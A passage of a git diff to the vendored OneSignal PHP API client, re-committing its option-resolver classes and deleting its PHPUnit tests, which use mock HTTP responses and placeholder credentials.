!in_array($k, $requiredKeys, true)) { - return false; - } - } - - return true; - } - - private function filterIosAttachments(array $attachments): bool - { - foreach ($attachments as $key => $value) { - if (!is_string($key) || !is_string($value)) { - return false; - } - } - - return true; - } - - private function filterWebButtons(array $buttons): bool - { - $requiredKeys = ['id', 'text', 'icon', 'url']; - - foreach ($buttons as $button) { - if (!is_array($button)) { - return false; - } - - if (count(array_intersect_key(array_flip($requiredKeys), $button)) !== count($requiredKeys)) { - return false; - } - } - - return true; - } - - private function normalizeDateTime(Options $options, DateTimeInterface $value, string $format): string - { - return $value->format($format); - } -} +config = $config; + } + + /** + * {@inheritdoc} + */ + public function resolve(array $data): array + { + return (new OptionsResolver()) + ->setDefined('name') + ->setAllowedTypes('name', 'string') + ->setDefined('contents') + ->setAllowedTypes('contents', 'array') + ->setDefined('headings') + ->setAllowedTypes('headings', 'array') + ->setDefined('subtitle') + ->setAllowedTypes('subtitle', 'array') + ->setDefined('isIos') + ->setAllowedTypes('isIos', 'bool') + ->setDefined('isAndroid') + ->setAllowedTypes('isAndroid', 'bool') + ->setDefined('isWP') + ->setAllowedTypes('isWP', 'bool') + ->setDefined('isWP_WNS') + ->setAllowedTypes('isWP_WNS', 'bool') + ->setDefined('isAdm') + ->setAllowedTypes('isAdm', 'bool') + ->setDefined('isChrome') + ->setAllowedTypes('isChrome', 'bool') + ->setDefined('isChromeWeb') + ->setAllowedTypes('isChromeWeb', 'bool') + ->setDefined('isFirefox') + ->setAllowedTypes('isFirefox', 'bool') + ->setDefined('isSafari') + ->setAllowedTypes('isSafari', 'bool') + ->setDefined('isAnyWeb') + ->setAllowedTypes('isAnyWeb', 'bool') + ->setDefined('included_segments') + ->setAllowedTypes('included_segments', 'array') + ->setDefined('excluded_segments') + ->setAllowedTypes('excluded_segments', 'array') + ->setDefined('include_player_ids') + ->setAllowedTypes('include_player_ids', 'array') + ->setDefined('include_ios_tokens') + ->setAllowedTypes('include_ios_tokens', 'array') + ->setDefined('include_android_reg_ids') + ->setAllowedTypes('include_android_reg_ids', 'array') + ->setDefined('include_external_user_ids') + ->setAllowedTypes('include_external_user_ids', 'array') + ->setDefined('channel_for_external_user_ids') + ->setAllowedTypes('channel_for_external_user_ids', 'string') + ->setAllowedValues('channel_for_external_user_ids', ['push', 'email']) + ->setDefined('include_email_tokens') + ->setAllowedTypes('include_email_tokens', 'array') + ->setDefined('include_wp_uris') + ->setAllowedTypes('include_wp_uris', 'array') + ->setDefined('include_wp_wns_uris') + ->setAllowedTypes('include_wp_wns_uris', 'array') + ->setDefined('include_amazon_reg_ids') + ->setAllowedTypes('include_amazon_reg_ids', 'array') + ->setDefined('include_chrome_reg_ids') + ->setAllowedTypes('include_chrome_reg_ids', 'array') + ->setDefined('include_chrome_web_reg_ids') + ->setAllowedTypes('include_chrome_web_reg_ids', 'array') + ->setDefined('app_ids') + ->setAllowedTypes('app_ids', 'array') + ->setDefined('filters') + ->setAllowedTypes('filters', 'array') + ->setNormalizer('filters', function (Options $options, array $values) { + return $this->normalizeFilters($options, $values); + }) + ->setDefined('ios_badgeType') + ->setAllowedTypes('ios_badgeType', 'string') + ->setAllowedValues('ios_badgeType', ['None', 'SetTo', 'Increase']) + ->setDefined('ios_badgeCount') + ->setAllowedTypes('ios_badgeCount', 'int') + ->setDefined('ios_sound') + ->setAllowedTypes('ios_sound', 'string') + ->setDefined('android_sound') + ->setAllowedTypes('android_sound', 'string') + ->setDefined('adm_sound') + ->setAllowedTypes('adm_sound', 'string') + ->setDefined('wp_sound') + ->setAllowedTypes('wp_sound', 'string') + ->setDefined('wp_wns_sound') + ->setAllowedTypes('wp_wns_sound', 'string') + ->setDefined('data') + ->setAllowedTypes('data', 'array') + ->setDefined('buttons') + ->setAllowedTypes('buttons', 'array') + ->setNormalizer('buttons', function (Options $options, array $values) { + return $this->normalizeButtons($values); + }) + ->setDefined('android_channel_id') + ->setAllowedTypes('android_channel_id', 'string') + ->setDefined('existing_android_channel_id') + ->setAllowedTypes('existing_android_channel_id', 'string') + ->setDefined('android_background_layout') + ->setAllowedTypes('android_background_layout', 'array') + ->setAllowedValues('android_background_layout', function (array $layouts) { + return $this->filterAndroidBackgroundLayout($layouts); + }) + ->setDefined('small_icon') + ->setAllowedTypes('small_icon', 'string') + ->setDefined('large_icon') + ->setAllowedTypes('large_icon', 'string') + ->setDefined('ios_attachments') + ->setAllowedTypes('ios_attachments', 'array') + ->setAllowedValues('ios_attachments', function (array $attachments) { + return $this->filterIosAttachments($attachments); + }) + ->setDefined('big_picture') + ->setAllowedTypes('big_picture', 'string') + ->setDefined('adm_small_icon') + ->setAllowedTypes('adm_small_icon', 'string') + ->setDefined('adm_large_icon') + ->setAllowedTypes('adm_large_icon', 'string') + ->setDefined('adm_big_picture') + ->setAllowedTypes('adm_big_picture', 'string') + ->setDefined('web_buttons') + ->setAllowedTypes('web_buttons', 'array') + ->setAllowedValues('web_buttons', function (array $buttons) { + return $this->filterWebButtons($buttons); + }) + ->setDefined('ios_category') + ->setAllowedTypes('ios_category', 'string') + ->setDefined('chrome_icon') + ->setAllowedTypes('chrome_icon', 'string') + ->setDefined('chrome_big_picture') + ->setAllowedTypes('chrome_big_picture', 'string') + ->setDefined('chrome_web_icon') + ->setAllowedTypes('chrome_web_icon', 'string') + ->setDefined('chrome_web_image') + ->setAllowedTypes('chrome_web_image', 'string') + ->setDefined('chrome_web_badge') + ->setAllowedTypes('chrome_web_badge', 'string') + ->setDefined('firefox_icon') + ->setAllowedTypes('firefox_icon', 'string') + ->setDefined('url') + ->setAllowedTypes('url', 'string') + ->setAllowedValues('url', function (string $value) { + return $this->filterUrl($value); + }) + ->setDefined('web_url') + ->setAllowedTypes('web_url', 'string') + ->setAllowedValues('web_url', function (string $value) { + return $this->filterUrl($value); + }) + ->setDefined('app_url') + ->setAllowedTypes('app_url', 'string') + ->setDefined('send_after') + ->setAllowedTypes('send_after', DateTimeInterface::class) + ->setNormalizer('send_after', function (Options $options, DateTimeInterface $value) { + return $this->normalizeDateTime($options, $value, self::SEND_AFTER_FORMAT); + }) + ->setDefined('delayed_option') + ->setAllowedTypes('delayed_option', 'string') + ->setAllowedValues('delayed_option', ['timezone', 'last-active']) + ->setDefined('delivery_time_of_day') + ->setAllowedTypes('delivery_time_of_day', DateTimeInterface::class) + ->setNormalizer('delivery_time_of_day', function (Options $options, DateTimeInterface $value) { + return $this->normalizeDateTime($options, $value, self::DELIVERY_TIME_OF_DAY_FORMAT); + }) + ->setDefined('android_led_color') + ->setAllowedTypes('android_led_color', 'string') + ->setDefined('android_accent_color') + ->setAllowedTypes('android_accent_color', 'string') + ->setDefined('android_visibility') + ->setAllowedTypes('android_visibility', 'int') + ->setAllowedValues('android_visibility', [-1, 0, 1]) + ->setDefined('collapse_id') + ->setAllowedTypes('collapse_id', 'string') + ->setDefined('content_available') + ->setAllowedTypes('content_available', 'bool') + ->setDefined('mutable_content') + ->setAllowedTypes('mutable_content', 'bool') + ->setDefined('android_background_data') + ->setAllowedTypes('android_background_data', 'bool') + ->setDefined('amazon_background_data') + ->setAllowedTypes('amazon_background_data', 'bool') + ->setDefined('template_id') + ->setAllowedTypes('template_id', 'string') + ->setDefined('android_group') + ->setAllowedTypes('android_group', 'string') + ->setDefined('android_group_message') + ->setAllowedTypes('android_group_message', 'array') + ->setDefined('adm_group') + ->setAllowedTypes('adm_group', 'string') + ->setDefined('adm_group_message') + ->setAllowedTypes('adm_group_message', 'array') + ->setDefined('thread_id') + ->setAllowedTypes('thread_id', 'string') + ->setDefined('summary_arg') + ->setAllowedTypes('summary_arg', 'string') + ->setDefined('summary_arg_count') + ->setAllowedTypes('summary_arg_count', 'int') + ->setDefined('ttl') + ->setAllowedTypes('ttl', 'int') + ->setDefined('priority') + ->setAllowedTypes('priority', 'int') + ->setDefault('app_id', $this->config->getApplicationId()) + ->setAllowedTypes('app_id', 'string') + ->setDefined('email_subject') + ->setAllowedTypes('email_subject', 'string') + ->setDefined('email_body') + ->setAllowedTypes('email_body', 'string') + ->setDefined('email_from_name') + ->setAllowedTypes('email_from_name', 'string') + ->setDefined('email_from_address') + ->setAllowedTypes('email_from_address', 'string') + ->setDefined('external_id') + ->setAllowedTypes('external_id', 'string') + ->setDefined('web_push_topic') + ->setAllowedTypes('web_push_topic', 'string') + ->setDefined('apns_push_type_override') + ->setAllowedTypes('apns_push_type_override', 'string') + ->setAllowedValues('apns_push_type_override', ['voip']) + ->setDefined('sms_from') + ->setAllowedTypes('sms_from', 'string') + ->setDefined('sms_media_urls') + ->setAllowedTypes('sms_media_urls', 'array') + ->resolve($data); + } + + private function normalizeFilters(Options $options, array $values): array + { + $filters = []; + + foreach ($values as $filter) { + if (isset($filter['field'])) { + $filters[] = $filter; + } elseif (isset($filter['operator'])) { + $filters[] = ['operator' => 'OR']; + } + } + + return $filters; + } + + /** + * @param mixed $value + */ + private function filterUrl($value): bool + { + return (bool) filter_var($value, FILTER_VALIDATE_URL); + } + + private function normalizeButtons(array $values): array + { + $buttons = []; + + foreach ($values as $button) { + if (!isset($button['text'])) { + continue; + } + + $buttons[] = [ + 'id' => $button['id'] ?? random_int(0, PHP_INT_MAX), + 'text' => $button['text'], + 'icon' => $button['icon'] ?? null, + ]; + } + + return $buttons; + } + + private function filterAndroidBackgroundLayout(array $layouts): bool + { + if (count($layouts) === 0) { + return false; + } + + $requiredKeys = ['image', 'headings_color', 'contents_color']; + + foreach ($layouts as $k => $v) { + if (!is_string($v) || !in_array($k, $requiredKeys, true)) { + return false; + } + } + + return true; + } + + private function filterIosAttachments(array $attachments): bool + { + foreach ($attachments as $key => $value) { + if (!is_string($key) || !is_string($value)) { + return false; + } + } + + return true; + } + + private function filterWebButtons(array $buttons): bool + { + $requiredKeys = ['id', 'text', 'icon', 'url']; + + foreach ($buttons as $button) { + if (!is_array($button)) { + return false; + } + + if (count(array_intersect_key(array_flip($requiredKeys), $button)) !== count($requiredKeys)) { + return false; + } + } + + return true; + } + + private function normalizeDateTime(Options $options, DateTimeInterface $value, string $format): string + { + return $value->format($format); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/ResolverFactory.php b/vendor/norkunas/onesignal-php-api/src/Resolver/ResolverFactory.php index 5aaf005610..df43c3ab98 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/ResolverFactory.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/ResolverFactory.php @@ -1,72 +1,72 @@ -config = $config; - } - - public function createAppResolver(): AppResolver - { - return new AppResolver(); - } - - public function createSegmentResolver(): SegmentResolver - { - return new SegmentResolver(); - } - - public function createOutcomesResolver(): AppOutcomesResolver - { - return new AppOutcomesResolver(); - } - - public function createDeviceSessionResolver(): DeviceSessionResolver - { - return new DeviceSessionResolver(); - } - - public function createDevicePurchaseResolver(): DevicePurchaseResolver - { - return new DevicePurchaseResolver(); - } - - public function createDeviceFocusResolver(): DeviceFocusResolver - { - return new DeviceFocusResolver(); - } - - public function createNewDeviceResolver(): DeviceResolver - { - return new DeviceResolver($this->config, true); - } - - public function createExistingDeviceResolver(): DeviceResolver - { - return new DeviceResolver($this->config, false); - } - - public function createDeviceTagsResolver(): DeviceTagsResolver - { - return new DeviceTagsResolver(); - } - - public function createNotificationResolver(): NotificationResolver - { - return new NotificationResolver($this->config); - } - - public function createNotificationHistoryResolver(): NotificationHistoryResolver - { - return new NotificationHistoryResolver($this->config); - } -} +config = $config; + } + + public function createAppResolver(): AppResolver + { + return new AppResolver(); + } + + public function createSegmentResolver(): SegmentResolver + { + return new SegmentResolver(); + } + + public function createOutcomesResolver(): AppOutcomesResolver + { + return new AppOutcomesResolver(); + } + + public function createDeviceSessionResolver(): DeviceSessionResolver + { + return new DeviceSessionResolver(); + } + + public function createDevicePurchaseResolver(): DevicePurchaseResolver + { + return new DevicePurchaseResolver(); + } + + public function createDeviceFocusResolver(): DeviceFocusResolver + { + return new DeviceFocusResolver(); + } + + public function createNewDeviceResolver(): DeviceResolver + { + return new DeviceResolver($this->config, true); + } + + public function createExistingDeviceResolver(): DeviceResolver + { + return new DeviceResolver($this->config, false); + } + + public function createDeviceTagsResolver(): DeviceTagsResolver + { + return new DeviceTagsResolver(); + } + + public function createNotificationResolver(): NotificationResolver + { + return new NotificationResolver($this->config); + } + + public function createNotificationHistoryResolver(): NotificationHistoryResolver + { + return new NotificationHistoryResolver($this->config); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Resolver/ResolverInterface.php b/vendor/norkunas/onesignal-php-api/src/Resolver/ResolverInterface.php index b1f586a4a6..ae662faa07 100644 --- a/vendor/norkunas/onesignal-php-api/src/Resolver/ResolverInterface.php +++ b/vendor/norkunas/onesignal-php-api/src/Resolver/ResolverInterface.php @@ -1,13 +1,13 @@ -setDefined('id') - ->setAllowedTypes('id', 'string') - ->setRequired('name') - ->setAllowedTypes('name', 'string') - ->setDefined('filters') - ->setAllowedTypes('filters', 'array') - ->setNormalizer('filters', function (Options $options, array $values) { - return $this->normalizeFilters($options, $values); - }) - ->resolve($data); - } - - private function normalizeFilters(Options $options, array $values): array - { - $filters = []; - - foreach ($values as $filter) { - if (isset($filter['field']) || isset($filter['operator'])) { - $filters[] = $filter; - } - } - - return $filters; - } -} +setDefined('id') + ->setAllowedTypes('id', 'string') + ->setRequired('name') + ->setAllowedTypes('name', 'string') + ->setDefined('filters') + ->setAllowedTypes('filters', 'array') + ->setNormalizer('filters', function (Options $options, array $values) { + return $this->normalizeFilters($options, $values); + }) + ->resolve($data); + } + + private function normalizeFilters(Options $options, array $values): array + { + $filters = []; + + foreach ($values as $filter) { + if (isset($filter['field']) || isset($filter['operator'])) { + $filters[] = $filter; + } + } + + return $filters; + } +} diff --git a/vendor/norkunas/onesignal-php-api/tests/ApiTestCase.php b/vendor/norkunas/onesignal-php-api/tests/ApiTestCase.php deleted file mode 100644 index 3f5c3de9a0..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/ApiTestCase.php +++ /dev/null @@ -1,41 +0,0 @@ -createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/apps/e4e87830-b954-11e3-811d-f3b376925f15', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeUserAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('apps_get_one.json'), ['http_code' => 200]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->getOne('e4e87830-b954-11e3-811d-f3b376925f15'); - - self::assertSame([ - 'id' => 'e4e87830-b954-11e3-811d-f3b376925f15', - 'name' => 'Your app 1', - 'players' => 0, - 'messageable_players' => 0, - 'updated_at' => '2014-04-01T04:20:02.003Z', - 'created_at' => '2014-04-01T04:20:02.003Z', - 'gcm_key' => 'a gcm push key', - 'chrome_web_origin' => 'Chrome Web Push Site URL', - 'chrome_web_default_notification_icon' => 'http://yoursite.com/chrome_notification_icon', - 'chrome_web_sub_domain' => 'your_site_name', - 'apns_env' => 'production', - 'apns_certificates' => 'Your apns certificate', - 'safari_apns_certificate' => 'Your Safari APNS certificate', - 'safari_site_origin' => 'The homename for your website for Safari Push, including http or https', - 'safari_push_id' => 'The certificate bundle ID for Safari Web Push', - 'safari_icon_16_16' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16.png', - 'safari_icon_32_32' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16@2.png', - 'safari_icon_64_64' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/32x32@2x.png', - 'safari_icon_128_128' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128.png', - 'safari_icon_256_256' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128@2x.png', - 'site_name' => 'The URL to your website for Web Push', - 'basic_auth_key' => 'NGEwMGZmMjItY2NkNy0xMWUzLTk5ZDUtMDAwYzI5NDBlNjJj', - ], $responseData); - } - - public function testGetOneNonExisting(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/apps/a', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeUserAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('apps_get_one_not_existing.json'), ['http_code' => 404]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->getOne('a'); - - self::assertSame([ - 'errors' => 'Couldn\'t find app with id = a', - ], $responseData); - } - - public function testGetAll(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/apps', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeUserAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('apps_get_all.json'), ['http_code' => 200]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->getAll(); - - self::assertSame([ - [ - 'id' => '92911750-242d-4260-9e00-9d9034f139ce', - 'name' => 'Your app 1', - 'players' => 150, - 'messageable_players' => 143, - 'updated_at' => '2014-04-01T04:20:02.003Z', - 'created_at' => '2014-04-01T04:20:02.003Z', - 'gcm_key' => 'a gcm push key', - 'chrome_key' => 'A Chrome Web Push GCM key', - 'chrome_web_origin' => 'Chrome Web Push Site URL', - 'chrome_web_gcm_sender_id' => 'Chrome Web Push GCM Sender ID', - 'chrome_web_default_notification_icon' => 'http://yoursite.com/chrome_notification_icon', - 'chrome_web_sub_domain' => 'your_site_name', - 'apns_env' => 'sandbox', - 'apns_certificates' => 'Your apns certificate', - 'safari_apns_certificate' => 'Your Safari APNS certificate', - 'safari_site_origin' => 'The homename for your website for Safari Push, including http or https', - 'safari_push_id' => 'The certificate bundle ID for Safari Web Push', - 'safari_icon_16_16' => 'http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/16x16.png', - 'safari_icon_32_32' => 'http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/16x16@2.png', - 'safari_icon_64_64' => 'http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/32x32@2x.png', - 'safari_icon_128_128' => 'http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/128x128.png', - 'safari_icon_256_256' => 'http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/128x128@2x.png', - 'site_name' => 'The URL to your website for Web Push', - 'basic_auth_key' => 'NGEwMGZmMjItY2NkNy0xMWUzLTk5ZDUtMDAwYzI5NDBlNjJj', - ], - [ - 'id' => 'e4e87830-b954-11e3-811d-f3b376925f15', - 'name' => 'Your app 2', - 'players' => 100, - 'messageable_players' => 80, - 'updated_at' => '2014-04-01T04:20:02.003Z', - 'created_at' => '2014-04-01T04:20:02.003Z', - 'gcm_key' => 'a gcm push key', - 'chrome_key' => 'A Chrome Web Push GCM key', - 'chrome_web_origin' => 'Chrome Web Push Site URL', - 'chrome_web_gcm_sender_id' => 'Chrome Web Push GCM Sender ID', - 'chrome_web_default_notification_icon' => 'http://yoursite.com/chrome_notification_icon', - 'chrome_web_sub_domain' => 'your_site_name', - 'apns_env' => 'sandbox', - 'apns_certificates' => 'Your apns certificate', - 'safari_apns_certificate' => 'Your Safari APNS certificate', - 'safari_site_origin' => 'The homename for your website for Safari Push, including http or https', - 'safari_push_id' => 'The certificate bundle ID for Safari Web Push', - 'safari_icon_16_16' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16.png', - 'safari_icon_32_32' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16@2.png', - 'safari_icon_64_64' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/32x32@2x.png', - 'safari_icon_128_128' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128.png', - 'safari_icon_256_256' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128@2x.png', - 'site_name' => 'The URL to your website for Web Push', - 'basic_auth_key' => 'NGEwMGZmMjItY2NkNy0xMWUzLTk5ZDUtMDAwYzI5NDBlNjJj', - ], - ], $responseData); - } - - public function testGetWithWrongUserAuthKey(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/apps', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeUserAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('apps_get_with_wrong_user_auth_key.json'), ['http_code' => 400]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->getAll(); - - self::assertSame([ - 'errors' => [ - 'Please include a case-sensitive header of Authorization: Basic with a valid User Auth key.', - ], - 'reference' => [ - 'https://documentation.onesignal.com/docs/accounts-and-keys#section-user-auth-key', - ], - ], $responseData); - } - - public function testAdd(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/apps', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeUserAuthKey', $options['normalized_headers']['authorization'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('apps_add.json'), ['http_code' => 200]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->add([ - 'name' => 'Your app 1', - 'apns_env' => 'production', - 'apns_p12' => 'asdsadcvawe223cwef...', - 'apns_p12_password' => 'FooBar', - 'organization_id' => 'your_organization_id', - 'gcm_key' => 'a gcm push key', - ]); - - self::assertSame([ - 'id' => 'e4e87830-b954-11e3-811d-f3b376925f15', - 'name' => 'Your app 1', - 'players' => 0, - 'messageable_players' => 0, - 'updated_at' => '2014-04-01T04:20:02.003Z', - 'created_at' => '2014-04-01T04:20:02.003Z', - 'gcm_key' => 'a gcm push key', - 'chrome_web_origin' => 'Chrome Web Push Site URL', - 'chrome_web_default_notification_icon' => 'http://yoursite.com/chrome_notification_icon', - 'chrome_web_sub_domain' => 'your_site_name', - 'apns_env' => 'production', - 'apns_certificates' => 'Your apns certificate', - 'safari_apns_certificate' => 'Your Safari APNS certificate', - 'safari_site_origin' => 'The homename for your website for Safari Push, including http or https', - 'safari_push_id' => 'The certificate bundle ID for Safari Web Push', - 'safari_icon_16_16' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16.png', - 'safari_icon_32_32' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16@2.png', - 'safari_icon_64_64' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/32x32@2x.png', - 'safari_icon_128_128' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128.png', - 'safari_icon_256_256' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128@2x.png', - 'site_name' => 'The URL to your website for Web Push', - 'basic_auth_key' => 'NGEwMGZmMjItY2NkNy0xMWUzLTk5ZDUtMDAwYzI5NDBlNjJj', - ], $responseData); - } - - public function testAddWithEmptyName(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/apps', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeUserAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('apps_add_with_empty_name.json'), ['http_code' => 400]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->add(['name' => '']); - - self::assertSame([ - 'errors' => [ - 'Name Enter an app name', - ], - ], $responseData); - } - - public function testUpdate(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/apps', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeUserAuthKey', $options['normalized_headers']['authorization'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('apps_add.json'), ['http_code' => 200]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->add([ - 'name' => 'Your app 1', - 'apns_env' => 'production', - 'apns_p12' => 'asdsadcvawe223cwef...', - 'apns_p12_password' => 'FooBar', - 'organization_id' => 'your_organization_id', - 'gcm_key' => 'a gcm push key', - ]); - - self::assertSame([ - 'id' => 'e4e87830-b954-11e3-811d-f3b376925f15', - 'name' => 'Your app 1', - 'players' => 0, - 'messageable_players' => 0, - 'updated_at' => '2014-04-01T04:20:02.003Z', - 'created_at' => '2014-04-01T04:20:02.003Z', - 'gcm_key' => 'a gcm push key', - 'chrome_web_origin' => 'Chrome Web Push Site URL', - 'chrome_web_default_notification_icon' => 'http://yoursite.com/chrome_notification_icon', - 'chrome_web_sub_domain' => 'your_site_name', - 'apns_env' => 'production', - 'apns_certificates' => 'Your apns certificate', - 'safari_apns_certificate' => 'Your Safari APNS certificate', - 'safari_site_origin' => 'The homename for your website for Safari Push, including http or https', - 'safari_push_id' => 'The certificate bundle ID for Safari Web Push', - 'safari_icon_16_16' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16.png', - 'safari_icon_32_32' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16@2.png', - 'safari_icon_64_64' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/32x32@2x.png', - 'safari_icon_128_128' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128.png', - 'safari_icon_256_256' => 'http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128@2x.png', - 'site_name' => 'The URL to your website for Web Push', - 'basic_auth_key' => 'NGEwMGZmMjItY2NkNy0xMWUzLTk5ZDUtMDAwYzI5NDBlNjJj', - ], $responseData); - } - - public function testUpdateNotExisting(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('PUT', $method); - $this->assertSame(OneSignal::API_URL.'/apps/a', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeUserAuthKey', $options['normalized_headers']['authorization'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('apps_update_not_existing.json'), ['http_code' => 404]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->update('a', ['name' => 'Your app 1']); - - self::assertSame([ - 'status' => 404, - 'error' => 'Not Found', - ], $responseData); - } - - public function testCreateSegment(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/apps/fakeApplicationId/segments', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('apps_create_segment.json'), ['http_code' => 200]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->createSegment('fakeApplicationId', [ - 'name' => '1', - 'filters' => [ - [ - 'field' => 'session_count', - 'relation' => '>', - 'value' => 1, - ], - [ - 'operator' => 'AND', - ], - [ - 'field' => 'tag', - 'relation' => '!=', - 'key' => 'tag_key', - 'value' => '1', - ], - [ - 'operator' => 'OR', - ], - [ - 'field' => 'last_session', - 'relation' => '<', - 'value' => '30,', - ], - ], - ]); - - self::assertSame([ - 'success' => true, - 'id' => 